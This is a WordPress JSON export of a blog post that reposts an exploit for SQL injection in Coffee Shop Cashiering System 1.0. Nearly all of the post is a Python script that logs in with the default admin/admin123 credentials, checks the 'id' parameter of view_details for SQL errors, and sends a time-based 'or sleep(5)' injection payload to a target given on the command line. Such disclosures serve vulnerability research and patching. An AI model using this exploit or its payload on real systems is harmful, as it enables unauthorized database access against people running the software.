{"id":26280,"date":"2022-06-27T21:29:00","date_gmt":"2022-06-27T17:29:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167592\/cscs10-sql.txt"},"modified":"2022-07-13T10:51:51","modified_gmt":"2022-07-13T06:21:51","slug":"coffee-shop-cashiering-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/coffee-shop-cashiering-system-1-0-sql-injection\/","title":{"rendered":"Coffee Shop Cashiering System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Coffee Shop Cashiering System &#8211; Authenticated Time Based Sql injection<br \/>\n# Date: 27-06-2022<br \/>\n# Exploit Author: syad<br \/>\n# Vendor Homepage: https:\/\/www.sourcecodester.com<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/cscs.zip<br \/>\n# Version: 1.0<br \/>\n# Tested on: Windows 10 + XAMPP 3.2.4<br \/>\n# CVE ID : N\/A<\/p>\n<p dir=\"ltr\"># Description<br \/>\n# The id parameter does not perform input validation on the view_detail.php file it allow authenticated Time Based SQL Injection.<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport sys<br \/>\ns = requests.session()<\/p>\n<p dir=\"ltr\">proxies = {&#8220;https&#8221;: &#8220;https:\/\/127.0.0.1:8080&#8221;, &#8220;http&#8221;: &#8220;http:\/\/127.0.0.1:8080&#8221;}<\/p>\n<p dir=\"ltr\">def login_sql():<br \/>\ntarget = &#8220;http:\/\/%s\/cscs\/classes\/Login.php?f=login&#8221; % sys.argv[1]\nd = {<br \/>\n&#8220;username&#8221; : &#8220;admin&#8221;,<br \/>\n&#8220;password&#8221; : &#8220;admin123&#8221;<br \/>\n}<br \/>\nr = s.post(target, data=d, allow_redirects=True, proxies=proxies)<br \/>\nres = r.text<br \/>\nif &#8220;success&#8221; in res:<br \/>\nreturn True<br \/>\nelse:<br \/>\nreturn False<\/p>\n<p dir=\"ltr\">def detect_sql():<br \/>\nr = s.get(&#8220;http:\/\/%s\/cscs\/admin\/?page=sales\/view_details&amp;id=2&#8242;&#8221; % sys.argv[1])<br \/>\nres = r.text<br \/>\nif &#8220;You have an error in your SQL syntax;&#8221; in res:<br \/>\nprint(&#8220;[+] SQL Error Found !!&#8221;)<br \/>\nelse:<br \/>\nreturn False<\/p>\n<p dir=\"ltr\">def time_based_sql():<br \/>\ntarget = &#8220;http:\/\/%s\/cscs\/admin\/?page=sales\/view_details&amp;id=2&#8217;+or+sleep(5)&#8211;+-&#8221; % sys.argv[1]\nr = s.get(target, proxies=proxies)<br \/>\nprint(&#8220;[+] Time Based SQL Injection Executed !!!&#8221;)<\/p>\n<p dir=\"ltr\">def main():<br \/>\nif len(sys.argv) !=2:<br \/>\nprint(&#8220;(+) usage: %s &lt;target&gt;&#8221; % sys.argv[0] )<br \/>\nprint(&#8220;(+) eg: %s 192.168.121.103 &#8221; % sys.argv[0] )<br \/>\nsys.exit(-1)<\/p>\n<p dir=\"ltr\">if login_sql():<br \/>\nprint(&#8220;[+] Success Login&#8221;)<\/p>\n<p dir=\"ltr\">detect_sql()<br \/>\ntime_based_sql()<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Coffee Shop Cashiering System &#8211; Authenticated Time Based Sql injection # Date: 27-06-2022 # Exploit Author: syad # Vendor Homepage: https:\/\/www.sourcecodester.com # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/cscs.zip # Version: 1.0 # Tested on: Windows 10 + XAMPP 3.2.4 # CVE ID : N\/A # Description # The id parameter does not perform input validation &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26280","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26280"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26280\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}